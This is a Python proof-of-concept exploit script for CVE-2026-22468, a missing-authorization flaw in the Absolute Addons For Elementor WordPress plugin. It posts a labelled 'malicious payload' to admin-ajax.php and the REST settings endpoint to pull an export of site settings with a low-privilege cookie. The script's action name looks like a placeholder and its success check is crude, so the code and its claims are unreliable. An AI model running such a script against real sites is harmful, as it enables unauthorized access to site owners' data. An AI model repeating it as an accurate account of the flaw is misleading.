CVE-2026-22468

# CVE-2026-22468 PoC - Absolute Addons For Elementor Authorization Bypass # This PoC demonstrates the missing authorization vulnerability import requests import sys def check_vulnerability(target_url, cookie=None): """ Check if the target WordPress site is vulnerable to CVE-2026-22468 """ # Target endpoint that should require authorization endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/wp/v2/settings' ] # Malicious payload to exploit the authorization bypass # This attempts to access admin functions with low-privilege user malicious_params = { 'action': 'absolute_addons_exploit', 'function': 'export_settings', 'data': 'all' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } if cookie: headers['Cookie'] = cookie print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-22468 - Missing Authorization in Absolute Addons For Elementor") for endpoint in endpoints: full_url = target_url.rstrip('/') + endpoint try: response = requests.post(full_url, data=malicious_params, headers=headers, timeout=10) # Check for successful unauthorized access if response.status_code == 200 and ('settings' in response.text or 'export' in response.text): print(f"[+] VULNERABLE: {endpoint} - Authorization bypass detected") print(f"[+] Response preview: {response.text[:200]}...") return True else: print(f"[-] Not vulnerable: {endpoint}") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-22468.py <target_url> [cookie]") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] if len(sys.argv) > 2 else None is_vulnerable = check_vulnerability(target, cookie) if is_vulnerable: print("\n[!] Target is vulnerable to CVE-2026-22468") print("[!] Recommendation: Update Absolute Addons For Elementor to version > 1.0.14") else: print("\n[+] Target appears to be patched or not using affected plugin")

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